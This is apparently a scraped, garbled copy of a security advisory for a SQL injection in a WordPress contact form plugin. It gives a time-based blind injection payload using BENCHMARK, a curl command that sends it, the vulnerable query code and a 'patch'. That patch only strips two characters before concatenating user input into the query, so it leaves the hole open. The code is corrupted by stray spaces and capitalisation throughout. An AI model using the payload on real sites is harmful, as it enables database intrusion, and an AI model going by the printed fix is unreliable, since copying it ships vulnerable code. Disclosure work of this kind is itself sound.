WordPress plug-in Contact Form & lt; = 2.7.5 SQL Injection defects and repair

 

Title: WordPress Contact Form plugin <= 2.7.5 SQL Injection Vulnerability

Author: Skraps (jackie. craig. sparks (at) live.com www.2cto.com jackie. craig. sparks (at) gmail.com @ skraps_foo)

: Http://downloads.wordpress.org/plugin/contact-form-wordpress.zip

Tested version: 2.7.5

 

---------------

PoC (POST data)

---------------

Http://www.bkjia.com/wp-content/plugins/contact-form-wordpress/easy-form.class.php

Wpcf_easyform_submitted = 1 & wpcf_easyform_test1 = testing & wpcf_easyform_formid = 1 AND 1 = IF (2> 1, BENCHMARK (500000000, MD5 (CHAR (115,113,108,109, 97,112), 0)

 

Example

Curl -- data "wpcf_easyform_submitted = 1 & wpcf_easyform_test1 = testing & wpcf_easyform_formid = 1 AND 1 = IF (2> 1, BENCHMARK (500000000, MD5 (CHAR (115,113,108,109, 97,112 ))), 0) "-H" X-Requested-With: XMLHttpRequest "http: // 127.0.0.1/wordpress /? P = 1

 

---------------

Code Analysis

---------------

Line 49:

Public function the_content ($ content ){

Global $ wpdb;

Global $ table_name;

Global $ settings_table_name;

 

$ Private_key = '6ldkkr8saaaaan3d0b3m _ EMh1qx4PeHtOre8loCy ';

 

If ($ _ POST ['wpcf _ easyform_submitted'] = 1 ){

 

$ Form = $ wpdb-> get_results ("SELECT * FROM $ table_name where id =". $ _ POST ['wpcf _ easyform_formid ']);

 

---------------

Patch

---------------

 

* **./Easy-form.class.php.orig 19:53:05. 674800956-0400

---./Easy-form.class.php 19:51:21. 442799615-0400

***************

* ** 54,61 ****

$ Private_key = '6ldkkr8saaaaan3d0b3m _ EMh1qx4PeHtOre8loCy ';

If ($ _ POST ['wpcf _ easyform_submitted'] = 1 ){

!

! $ Form = $ wpdb-> get_results ("SELECT * FROM $ table_name where id =". $ _ POST ['wpcf _ easyform_formid ']);

$ Continue = true;

--- 54,63 ----

$ Private_key = '6ldkkr8saaaaan3d0b3m _ EMh1qx4PeHtOre8loCy ';

If ($ _ POST ['wpcf _ easyform_submitted'] = 1 ){

! $ Wpcf_easyform_formid = $ _ POST ['wpcf _ easyform_formid '];

! $ Wpcf_easyform_formid = substr ($ wpcf_easyform_formid, 2 );

!

! $ Form = $ wpdb-> get_results ("SELECT * FROM $ table_name where id =". $ wpcf_easyform_formid );

$ Continue = true;

***************

* ** 71,80 ****

If ($ continue ){

// Loop through the fields of this form (read from DB) and build the message here

! $ Form_fields = $ wpdb-> get_results ("

SELECT *

FROM $ settings_table_name

! WHERE form_id = ". $ _ POST ['wpcf _ easyform_formid ']."

Order by position

");

----

If ($ continue ){

// Loop through the fields of this form (read from DB) and build the message here

! $ Form_fields = $ wpdb-> get_results ("

SELECT *

FROM $ settings_table_name

! WHERE form_id = ". $ wpcf_easyform_formid ."

Order by position

");